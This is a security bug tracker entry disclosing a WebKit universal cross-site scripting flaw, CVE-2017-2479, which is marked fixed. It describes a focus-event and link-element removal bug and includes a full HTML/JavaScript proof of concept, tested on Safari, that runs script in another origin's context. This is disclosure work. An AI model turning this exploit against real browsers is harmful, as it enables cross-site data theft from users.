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Issue 1119
Starred by 2 users
Status: Fixed
Owner:
lokihardt@google.com
Closed: Mar 2017
Cc:
project-...@google.com



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 WebKit: UXSS via a focus event and a link element
Project Member Reported by lokihardt@google.com, Feb 9 2017 Back to list 
This is somewhat similar to  https://crbug.com/663476 .

Here's a snippet of Container::replaceAllChildren.

while (RefPtr<Node> child = m_firstChild) {
    removeBetween(nullptr, child->nextSibling(), *child);
    notifyChildNodeRemoved(*this, *child);
}

If the location hash value is set, the page will give focus to the associated element. However, if there is a stylesheet that has not been loaded yet, the focusing will be delayed until the stylesheet gets loaded. The problem is that when the link element linked to the last pending stylesheet is removed from the parent, the notifyChildNodeRemoved function may end up to fire a focus event which runs arbitrary JavaScript code, which can make an iframe(|g| in the PoC) that has an attached frame but has no parent.

Tested on Safari 10.0.3(12602.4.8).

<html>
<head>
</head>
<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let inp = f.contentDocument.head.appendChild(document.createElement('input'));
let link = inp.appendChild(document.createElement('link'));
link.rel = 'stylesheet';
link.href = 'data:,aaaaazxczxczzxzcz';

let btn = f.contentDocument.body.appendChild(document.createElement('button'));
btn.id = 'btn';
btn.onfocus = () => {
    btn.onfocus = null;

    window.g = inp.appendChild(document.createElement('iframe'));
    window.g.onload = () => {
        window.g.onload = null;

        window.g.src = 'javascript:alert(location)';
        let xml = `
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(parent.g);

</sc` + `ript>
<element a="1" a="2" />
</svg>`;

        let h = document.body.appendChild(document.createElement('iframe'));
        h.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'}));
    };

    window.g.src = 'https://abc.xyz/';
};

f.contentWindow.location.hash = 'btn';
inp.textContent = '';

</script>
</body>
</html>

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
Project Member Comment 1 by lokihardt@google.com, Feb 9 2017 
Webkit Tracker: https://bugs.webkit.org/show_bug.cgi?id=168069
Project Member Comment 2 by lokihardt@google.com, Mar 27 2017
Labels: CVE-2017-2479
Status: Fixed
Project Member Comment 3 by lokihardt@google.com, Apr 6 2017
Labels: -Restrict-View-Commit
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